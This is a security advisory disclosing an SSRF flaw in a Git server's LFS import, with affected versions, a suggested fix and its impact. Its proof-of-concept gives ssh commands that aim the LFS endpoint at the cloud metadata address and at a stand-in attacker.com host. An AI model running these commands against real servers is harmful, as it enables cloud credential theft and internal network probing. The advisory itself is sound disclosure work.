Advisory

GHSA-3fvx-xrxq-8jvv

Details, part 2 of 2. The advisory

Details

Affected versions:

  • Introduced in v0.6.0 (commit ea6b9a4 added --lfs-endpoint flag)
  • Still present in v0.11.3+ (current main)
  • Not fixed by v0.11.1 webhook SSRF patch (GHSA-vwq2-jx9q-9h9f) -- that fix only covers pkg/webhook/, not pkg/lfs/

Suggested fix:

The existing SSRF protections in pkg/webhook/validator.go and pkg/webhook/webhook.go are thorough and well-tested. The cleanest fix would be to extract them to a shared internal package and apply them to the LFS client:

  1. Replace http.DefaultClient in pkg/lfs/http_client.go with a secure client using ValidateIPBeforeDial in the transport and http.ErrUseLastResponse in CheckRedirect -- matching the webhook pattern.
  2. Validate the endpoint URL in pkg/backend/repo.go (before lfs.NewEndpoint) and pkg/jobs/mirror.go (before creating the client) using the same checks ValidateWebhookURL performs.

Both layers matter -- URL validation catches the obvious cases, ValidateIPBeforeDial at connection time catches DNS rebinding.

PoC

Based on code review. These haven't been run against a live instance, but the data flow from --lfs-endpoint to http.DefaultClient.Do() is straightforward:

# Blind SSRF -- server POSTs to metadata endpoint (JSON parse will fail, but request is sent)
ssh -p 23231 localhost repo import ssrf-test https://github.com/user/lfs-repo \
  --lfs --lfs-endpoint http://169.254.169.254/latest/meta-data/

# Reading internal responses via fake LFS server
# 1. Host a server at attacker.com that responds to POST /objects/batch
#    with a valid BatchResponse containing download URLs pointing at internal targets
# 2. Import with that endpoint
ssh -p 23231 localhost repo import ssrf-chain https://github.com/user/lfs-repo \
  --lfs --lfs-endpoint http://attacker.com/fake-lfs/

Impact

Any authenticated SSH user (any valid SSH key) can make the server send HTTP requests to arbitrary destinations, including internal networks and cloud metadata services.

Concrete impact:

  • Port scanning / service discovery: Confirm reachability of internal hosts via timing and error responses
  • Cloud credential theft: Access cloud metadata endpoints (169.254.169.254) -- full credential extraction is possible through the fake-LFS-server chain unless IMDSv2 or equivalent is enforced
  • Internal API access: Read responses from internal services by routing LFS download URLs through the pipeline
  • Persistence: Mirror imports repeat the SSRF on every scheduled sync without further user action

Reported by Vinayak Mishra
GitHub: @vnykmshr

Sources & licences